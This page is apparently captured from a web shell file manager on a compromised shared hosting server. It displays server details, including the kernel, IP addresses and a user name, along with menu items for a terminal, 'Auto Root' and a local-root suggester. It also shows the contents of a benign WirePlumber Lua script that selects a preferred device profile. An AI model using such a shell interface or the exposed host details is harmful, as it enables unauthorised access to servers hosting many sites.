Linux evo.fastest-server.com 5.14.0-284.1101.el9.tuxcare.11.els11.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 14 13:30:35 UTC 2026 x86_64
LiteSpeed
Server IP : 103.249.112.113 & Your IP : 216.73.217.135
Domains : 988 Domain
User : tanishks
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
wireplumber /
scripts /
device /
Delete
Unzip
Name
Size
Permission
Date
Action
apply-profile.lua
1.78
KB
-rw-r--r--
2025-10-10 14:43
apply-routes.lua
3.41
KB
-rw-r--r--
2025-10-10 14:43
automute-alsa-routes.lua
7.08
KB
-rw-r--r--
2025-10-10 14:43
autoswitch-bluetooth-profile.lua
14.97
KB
-rw-r--r--
2025-10-10 14:43
find-best-profile.lua
2.21
KB
-rw-r--r--
2025-10-10 14:43
find-best-routes.lua
2.49
KB
-rw-r--r--
2025-10-10 14:43
find-preferred-profile.lua
2.09
KB
-rw-r--r--
2025-10-10 14:43
find-voice-call-profile.lua
2.12
KB
-rw-r--r--
2025-10-10 14:43
select-profile.lua
720
B
-rw-r--r--
2025-10-10 14:43
select-routes.lua
4.9
KB
-rw-r--r--
2025-10-10 14:43
state-profile.lua
4.11
KB
-rw-r--r--
2025-10-10 14:43
state-routes.lua
11.61
KB
-rw-r--r--
2025-10-10 14:43
Save
Rename
-- WirePlumber -- -- Copyright © 2024 Collabora Ltd. -- -- SPDX-License-Identifier: MIT -- -- Finds the user preferred profile for a device, based on the priorities -- defined in the "device.profile.priority.rules" section of the configuration. cutils = require ("common-utils") log = Log.open_topic ("s-device") config = {} config.rules = Conf.get_section_as_json ("device.profile.priority.rules", Json.Array {}) SimpleEventHook { name = "device/find-preferred-profile", after = "device/find-stored-profile", before = "device/find-best-profile", interests = { EventInterest { Constraint { "event.type", "=", "select-profile" }, }, }, execute = function (event) local selected_profile = event:get_data ("selected-profile") -- skip hook if the profile is already selected for this device. if selected_profile then return end local device = event:get_subject () local props = JsonUtils.match_rules_update_properties ( config.rules, device.properties) local p_array = props["priorities"] -- skip hook if the profile priorities are NOT defined for this device. if not p_array then return nil end local p_json = Json.Raw(p_array) local priorities = p_json:parse() local device_name = device.properties["device.name"] or "" for _, priority_profile in ipairs(priorities) do for p in device:iterate_params("EnumProfile") do local device_profile = cutils.parseParam(p, "EnumProfile") if device_profile and device_profile.name == priority_profile then selected_profile = device_profile goto profile_set end end end ::profile_set:: if selected_profile then log:info (device, string.format ( "Found preferred profile '%s' (%d) for device '%s'", selected_profile.name, selected_profile.index, device_name)) event:set_data ("selected-profile", selected_profile) else log:info (device, "Profiles listed in 'device.profile.priority.rules'" .. " do not match the available ones of device: " .. device_name) end end }:register()